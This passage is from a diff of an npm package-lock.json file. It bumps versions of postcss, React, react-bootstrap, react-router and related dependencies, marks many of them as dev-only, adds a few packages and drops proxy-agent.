- "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-6.0.1.tgz",
- "integrity": "sha512-LpmQjfRWyabc+fRygxZjpRxfhRf9u/fdlKf4VHG4TSPbV2XNsuISzYW1KL+1aQzx53CAppa1bKG4APIB/DOXXw==",
- "dev": true,
- "requires": {
- "chalk": "^2.4.1",
- "lodash": "^4.17.11",
- "log-symbols": "^2.2.0",
- "postcss": "^7.0.7"
- },
- "dependencies": {
- "log-symbols": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz",
- "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==",
- "dev": true,
- "requires": {
- "chalk": "^2.0.1"
- }
- }
- }
- },
"postcss-resolve-nested-selector": {
"version": "0.1.1",
"resolved": "https://registry.npmjs.org/postcss-resolve-nested-selector/-/postcss-resolve-nested-selector-0.1.1.tgz",
@@ -13113,23 +17092,24 @@
}
},
"postcss-scss": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/postcss-scss/-/postcss-scss-2.0.0.tgz",
- "integrity": "sha512-um9zdGKaDZirMm+kZFKKVsnKPF7zF7qBAtIfTSnZXD1jZ0JNZIxdB6TxQOjCnlSzLRInVl2v3YdBh/M881C4ug==",
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-scss/-/postcss-scss-2.1.1.tgz",
+ "integrity": "sha512-jQmGnj0hSGLd9RscFw9LyuSVAa5Bl1/KBPqG1NQw9w8ND55nY4ZEsdlVuYJvLPpV+y0nwTV5v/4rHPzZRihQbA==",
"dev": true,
"requires": {
- "postcss": "^7.0.0"
+ "postcss": "^7.0.6"
}
},
"postcss-selector-parser": {
- "version": "6.0.2",
- "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.2.tgz",
- "integrity": "sha512-36P2QR59jDTOAiIkqEprfJDsoNrvwFei3eCqKd1Y0tUsBimsq39BLp7RD+JWny3WgB1zGhJX8XVePwm9k4wdBg==",
+ "version": "6.0.4",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz",
+ "integrity": "sha512-gjMeXBempyInaBqpp8gODmwZ52WaYsVOsfr4L4lDQ7n3ncD6mEyySiDtgzCT+NYC0mmeOLvtsF8iaEf0YT6dBw==",
"dev": true,
"requires": {
"cssesc": "^3.0.0",
"indexes-of": "^1.0.1",
- "uniq": "^1.0.1"
+ "uniq": "^1.0.1",
+ "util-deprecate": "^1.0.2"
}
},
"postcss-syntax": {
@@ -13147,17 +17127,20 @@
"prelude-ls": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
- "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ="
+ "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=",
+ "dev": true
},
"prepend-http": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz",
- "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc="
+ "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=",
+ "dev": true
},
"pretty-bytes": {
- "version": "5.4.1",
- "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.4.1.tgz",
- "integrity": "sha512-s1Iam6Gwz3JI5Hweaz4GoCD1WUNUIyzePFy5+Js2hjwGVt2Z79wNN+ZKOZ2vB6C+Xs6njyB84Z1IthQg8d9LxA=="
+ "version": "5.6.0",
+ "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz",
+ "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==",
+ "dev": true
},
"pretty-error": {
"version": "2.1.1",
@@ -13169,6 +17152,56 @@
"utila": "~0.4"
}
},
+ "pretty-format": {
+ "version": "26.6.2",
+ "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.6.2.tgz",
+ "integrity": "sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==",
+ "dev": true,
+ "requires": {
+ "@jest/types": "^26.6.2",
+ "ansi-regex": "^5.0.0",
+ "ansi-styles": "^4.0.0",
+ "react-is": "^17.0.1"
+ },
+ "dependencies": {
+ "ansi-regex": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
+ "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==",
+ "dev": true
+ },
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^2.0.1"
+ }
+ },
+ "color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "requires": {
+ "color-name": "~1.1.4"
+ }
+ },
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "react-is": {
+ "version": "17.0.2",
+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+ "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==",
+ "dev": true
+ }
+ }
+ },
"private": {
"version": "0.1.8",
"resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz",
@@ -13183,12 +17216,14 @@
"process-nextick-args": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
- "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
+ "dev": true
},
"progress": {
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
- "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA=="
+ "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==",
+ "dev": true
},
"promise": {
"version": "7.3.1",
@@ -13202,20 +17237,37 @@
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/promise-deferred/-/promise-deferred-2.0.3.tgz",
"integrity": "sha512-n10XaoznCzLfyPFOlEE8iurezHpxrYzyjgq/1eW9Wk1gJwur/N7BdBmjJYJpqMeMcXK4wEbzo2EvZQcqjYcKUQ==",
+ "dev": true,
"requires": {
"promise": "^7.3.1"
}
},
+ "promise-fs": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/promise-fs/-/promise-fs-2.1.1.tgz",
+ "integrity": "sha512-43p7e4QzAQ3w6eyN0+gbBL7jXiZFWLWYITg9wIObqkBySu/a5K1EDcQ/S6UyB/bmiZWDA4NjTbcopKLTaKcGSw==",
+ "dev": true,
+ "requires": {
+ "@octetstream/promisify": "2.0.2"
+ }
+ },
"promise-inflight": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz",
"integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=",
"dev": true
},
+ "promise-queue": {
+ "version": "2.2.5",
+ "resolved": "https://registry.npmjs.org/promise-queue/-/promise-queue-2.2.5.tgz",
+ "integrity": "sha1-L29ffA9tCBCelnZZx5uIqe1ek7Q=",
+ "dev": true
+ },
"promiseback": {
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/promiseback/-/promiseback-2.0.3.tgz",
"integrity": "sha512-VZXdCwS0ppVNTIRfNsCvVwJAaP2b+pxQF7lM8DMWfmpNWyTxB6O5YNbzs+8z0ki/KIBHKHk308NTIl4kJUem3w==",
+ "dev": true,
"requires": {
"is-callable": "^1.1.5",
"promise-deferred": "^2.0.3"
@@ -13250,53 +17302,11 @@
"ipaddr.js": "1.9.1"
}
},
- "proxy-agent": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/proxy-agent/-/proxy-agent-3.1.1.tgz",
- "integrity": "sha512-WudaR0eTsDx33O3EJE16PjBRZWcX8GqCEeERw1W3hZJgH/F2a46g7jty6UGty6NeJ4CKQy8ds2CJPMiyeqaTvw==",
- "requires": {
- "agent-base": "^4.2.0",
- "debug": "4",
- "http-proxy-agent": "^2.1.0",
- "https-proxy-agent": "^3.0.0",
- "lru-cache": "^5.1.1",
- "pac-proxy-agent": "^3.0.1",
- "proxy-from-env": "^1.0.0",
- "socks-proxy-agent": "^4.0.1"
- },
- "dependencies": {
- "debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
- "requires": {
- "ms": "^2.1.1"
- }
- },
- "lru-cache": {
- "version": "5.1.1",
- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
- "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
- "requires": {
- "yallist": "^3.0.2"
- }
- },
- "ms": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
- },
- "yallist": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
- "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
- }
- }
- },
"proxy-from-env": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
- "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="
+ "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==",
+ "dev": true
},
"prr": {
"version": "1.0.1",
@@ -13307,7 +17317,8 @@
"pseudomap": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz",
- "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM="
+ "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=",
+ "dev": true
},
"psl": {
"version": "1.8.0",
@@ -13329,9 +17340,9 @@
},
"dependencies": {
"bn.js": {
- "version": "4.11.8",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz",
- "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==",
+ "version": "4.12.0",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+ "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
"dev": true
}
}
@@ -13340,6 +17351,7 @@
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
"integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
+ "dev": true,
"requires": {
"end-of-stream": "^1.1.0",
"once": "^1.3.1"
@@ -13349,6 +17361,7 @@
"version": "1.5.1",
"resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz",
"integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==",
+ "dev": true,
"requires": {
"duplexify": "^3.6.0",
"inherits": "^2.0.3",
@@ -13359,6 +17372,7 @@
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz",
"integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==",
+ "dev": true,
"requires": {
"end-of-stream": "^1.1.0",
"once": "^1.3.1"
@@ -13372,9 +17386,10 @@
"integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
},
"pupa": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.0.1.tgz",
- "integrity": "sha512-hEJH0s8PXLY/cdXh66tNEQGndDrIKNqNC5xmrysZy3i5C3oEoLna7YAOad+7u125+zH1HNXUmGEkrhb3c2VriA==",
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.1.1.tgz",
+ "integrity": "sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A==",
+ "dev": true,
"requires": {
"escape-goat": "^2.0.0"
}
@@ -13408,10 +17423,25 @@
"integrity": "sha512-w7fLxIRCRT7U8Qu53jQnJyPkYZIaR4n5151KMfcJlO/A9397Wxb1amJvROTK6TOnp7PfoAmg/qXiNHI+08jRfA==",
"dev": true
},
+ "queue": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/queue/-/queue-6.0.2.tgz",
+ "integrity": "sha512-iHZWu+q3IdFZFX36ro/lKBkSvfkztY5Y7HMiPlOUjhupPcG2JMfst2KKEpu5XndviX/3UhFbRngUPNKtgvtZiA==",
+ "dev": true,
+ "requires": {
+ "inherits": "~2.0.3"
+ }
+ },
+ "queue-microtask": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+ "dev": true
+ },
"quick-lru": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz",
- "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==",
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+ "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==",
"dev": true
},
"rainge": {
@@ -13448,6 +17478,7 @@
"version": "2.4.0",
"resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz",
"integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==",
+ "dev": true,
"requires": {
"bytes": "3.1.0",
"http-errors": "1.7.2",
@@ -13458,7 +17489,8 @@
"bytes": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz",
- "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg=="
+ "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==",
+ "dev": true
}
}
},
@@ -13466,6 +17498,7 @@
"version": "1.2.8",
"resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
"integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==",
+ "dev": true,
"requires": {
"deep-extend": "^0.6.0",
"ini": "~1.3.0",
@@ -13476,7 +17509,8 @@
"strip-json-comments": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
- "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo="
+ "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=",
+ "dev": true
}
}
},
@@ -13490,9 +17524,9 @@
}
},
"react": {
- "version": "16.13.1",
- "resolved": "https://registry.npmjs.org/react/-/react-16.13.1.tgz",
- "integrity": "sha512-YMZQQq32xHLX0bz5Mnibv1/LHb3Sqzngu7xstSM+vrkE5Kzr9xE0yMByK5kMoTK30YVJE61WfbxIFFvfeDKT1w==",
+ "version": "16.14.0",
+ "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz",
+ "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==",
"requires": {
"loose-envify": "^1.1.0",
"object-assign": "^4.1.1",
@@ -13506,39 +17540,49 @@
"dev": true
},
"react-base16-styling": {
- "version": "0.5.3",
- "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.5.3.tgz",
- "integrity": "sha1-OFjyTpxN2MvT9wLz901YHKKRcmk=",
+ "version": "0.7.0",
+ "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.7.0.tgz",
+ "integrity": "sha512-lTa/VSFdU6BOAj+FryOe7OTZ0OBP8GXPOnCS0QnZi7G3zhssWgIgwl0eUL77onXx/WqKPFndB3ZeC77QC/l4Dw==",
"requires": {
"base16": "^1.0.0",
- "lodash.curry": "^4.0.1",
- "lodash.flow": "^3.3.0",
- "pure-color": "^1.2.0"
+ "lodash.curry": "^4.1.1",
+ "lodash.flow": "^3.5.0",
+ "pure-color": "^1.3.0"
}
},
"react-bootstrap": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.3.0.tgz",
- "integrity": "sha512-GYj0c6FO9mx7DaO8Xyz2zs0IcQ6CGCtM3O6/feIoCaG4N8B0+l4eqL7stlMcLpqO4d8NG2PoMO/AbUOD+MO7mg==",
+ "version": "1.5.2",
+ "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.5.2.tgz",
+ "integrity": "sha512-mGKPY5+lLd7Vtkx2VFivoRkPT4xAHazuFfIhJLTEgHlDfIUSePn7qrmpZe5gXH9zvHV0RsBaQ9cLfXjxnZrOpA==",
"requires": {
- "@babel/runtime": "^7.4.2",
+ "@babel/runtime": "^7.13.8",
"@restart/context": "^2.1.4",
- "@restart/hooks": "^0.3.21",
+ "@restart/hooks": "^0.3.26",
"@types/classnames": "^2.2.10",
"@types/invariant": "^2.2.33",
"@types/prop-types": "^15.7.3",
- "@types/react": "^16.9.35",
- "@types/react-transition-group": "^4.4.0",
+ "@types/react": ">=16.9.35",
+ "@types/react-transition-group": "^4.4.1",
"@types/warning": "^3.0.0",
"classnames": "^2.2.6",
"dom-helpers": "^5.1.2",
"invariant": "^2.2.4",
"prop-types": "^15.7.2",
"prop-types-extra": "^1.1.0",
- "react-overlays": "^4.1.0",
+ "react-overlays": "^5.0.0",
"react-transition-group": "^4.4.1",
- "uncontrollable": "^7.0.0",
+ "uncontrollable": "^7.2.1",
"warning": "^4.0.3"
+ },
+ "dependencies": {
+ "@babel/runtime": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz",
+ "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==",
+ "requires": {
+ "regenerator-runtime": "^0.13.4"
+ }
+ }
}
},
"react-copy-to-clipboard": {
@@ -13576,9 +17620,9 @@
}
},
"react-dom": {
- "version": "16.13.1",
- "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.13.1.tgz",
- "integrity": "sha512-81PIMmVLnCNLO/fFOQxdQkvEq/+Hfpv24XNJfpyZhTRfO0QcmQIF/PgCa1zCOj2w1hrn12MFLyaJ/G0+Mxtfag==",
+ "version": "16.14.0",
+ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz",
+ "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==",
"requires": {
"loose-envify": "^1.1.0",
"object-assign": "^4.1.1",
@@ -13604,9 +17648,9 @@
}
},
"react-filepond": {
- "version": "7.0.1",
- "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.0.1.tgz",
- "integrity": "sha512-PitNM44JP0K5hXnkSYV3HRlkObsWbhqaJRWizMrdHpS3pPz9/iyiOGmRpc+4T4ST3vblmiUTLRYq/+1bDcSqQw=="
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.1.1.tgz",
+ "integrity": "sha512-6Szyi3zY4AEiSlE5rztJov/xIDB107Sv31MctDoSutdLinMqmbMej6kJ2MtSGzAhsP2+h8cDDr51mdHNXt97Yw=="
},
"react-graph-vis": {
"version": "1.0.5",
@@ -13627,9 +17671,9 @@
}
},
"react-hot-loader": {
- "version": "4.12.21",
- "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.12.21.tgz",
- "integrity": "sha512-Ynxa6ROfWUeKWsTHxsrL2KMzujxJVPjs385lmB2t5cHUxdoRPGind9F00tOkdc1l5WBleOF4XEAMILY1KPIIDA==",
+ "version": "4.13.0",
+ "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.13.0.tgz",
+ "integrity": "sha512-JrLlvUPqh6wIkrK2hZDfOyq/Uh/WeVEr8nc7hkn2/3Ul0sx1Kr5y4kOGNacNRoj7RhwLNcQ3Udf1KJXrqc0ZtA==",
"requires": {
"fast-levenshtein": "^2.0.6",
"global": "^4.3.0",
@@ -13654,12 +17698,12 @@
"integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
},
"react-json-tree": {
- "version": "0.12.0",
- "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.0.tgz",
- "integrity": "sha512-lp+NDCsU25JTueO1s784oZ5wEmh1c6kHk96szlX1e9bAlyNiHwCBXINpp0C5/D/LwQi9H/a6NjXGkSOS8zxMDg==",
+ "version": "0.12.1",
+ "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.1.tgz",
+ "integrity": "sha512-j6fkRY7ha9XMv1HPVakRCsvyFwHGR5AZuwO8naBBeZXnZbbLor5tpcUxS/8XD01+D1v7ZN5p+7LU+9V1uyASiQ==",
"requires": {
- "prop-types": "^15.5.8",
- "react-base16-styling": "^0.5.1"
+ "prop-types": "^15.7.2",
+ "react-base16-styling": "^0.7.0"
}
},
"react-jsonschema-form-bs4": {
@@ -13694,27 +17738,37 @@
"integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="
},
"react-overlays": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-4.1.0.tgz",
- "integrity": "sha512-vdRpnKe0ckWOOD9uWdqykLUPHLPndIiUV7XfEKsi5008xiyHCfL8bxsx4LbMrfnxW1LzRthLyfy50XYRFNQqqw==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-5.0.0.tgz",
+ "integrity": "sha512-TKbqfAv23TFtCJ2lzISdx76p97G/DP8Rp4TOFdqM9n8GTruVYgE3jX7Zgb8+w7YJ18slTVcDTQ1/tFzdCqjVhA==",
"requires": {
- "@babel/runtime": "^7.4.5",
- "@popperjs/core": "^2.0.0",
- "@restart/hooks": "^0.3.12",
+ "@babel/runtime": "^7.12.1",
+ "@popperjs/core": "^2.5.3",
+ "@restart/hooks": "^0.3.25",
"@types/warning": "^3.0.0",
- "dom-helpers": "^5.1.0",
+ "dom-helpers": "^5.2.0",
"prop-types": "^15.7.2",
"uncontrollable": "^7.0.0",
"warning": "^4.0.3"
+ },
+ "dependencies": {
+ "@babel/runtime": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz",
+ "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==",
+ "requires": {
+ "regenerator-runtime": "^0.13.4"
+ }
+ }
}
},
"react-particles-js": {
- "version": "3.3.0",
- "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.3.0.tgz",
- "integrity": "sha512-pc9oJWEHH3UR1sJurL98TPrEWr0Yf2E8j+f8PLDpgbnQirTRqfwEvTRNJ/Ibvt6233WycCrndn6ImfL0PDEr7A==",
+ "version": "3.4.1",
+ "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.4.1.tgz",
+ "integrity": "sha512-c3+vITUMN9RlgbERZYd9Kzvjmf49ENp07+9+NDLvE1Jf9euabrJi/q6gCCcv5foxGHBYjHnGs47Tusmrl0/+GQ==",
"requires": {
"lodash": "^4.17.11",
- "tsparticles": "^1.17.1"
+ "tsparticles": "^1.18.10"
}
},
"react-redux": {
@@ -13732,55 +17786,34 @@
}
},
"react-router": {
- "version": "4.3.1",
- "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.3.1.tgz",
- "integrity": "sha512-yrvL8AogDh2X42Dt9iknk4wF4V8bWREPirFfS9gLU1huk6qK41sg7Z/1S81jjTrGHxa3B8R3J6xIkDAA6CVarg==",
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.2.0.tgz",
+ "integrity": "sha512-smz1DUuFHRKdcJC0jobGo8cVbhO3x50tCL4icacOlcwDOEQPq4TMqwx3sY1TP+DvtTgz4nm3thuo7A+BK2U0Dw==",
"requires": {
- "history": "^4.7.2",
- "hoist-non-react-statics": "^2.5.0",
- "invariant": "^2.2.4",
+ "@babel/runtime": "^7.1.2",
+ "history": "^4.9.0",
+ "hoist-non-react-statics": "^3.1.0",
"loose-envify": "^1.3.1",
+ "mini-create-react-context": "^0.4.0",
"path-to-regexp": "^1.7.0",
- "prop-types": "^15.6.1",
- "warning": "^4.0.1"
- },
- "dependencies": {
- "hoist-non-react-statics": {
- "version": "2.5.5",
- "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-2.5.5.tgz",
- "integrity": "sha512-rqcy4pJo55FTTLWt+bU8ukscqHeE/e9KWvsOW2b/a3afxQZhwkQdT1rPPCJ0rYXdj4vNcasY8zHTH+jF/qStxw=="
- },
- "warning": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz",
- "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==",
- "requires": {
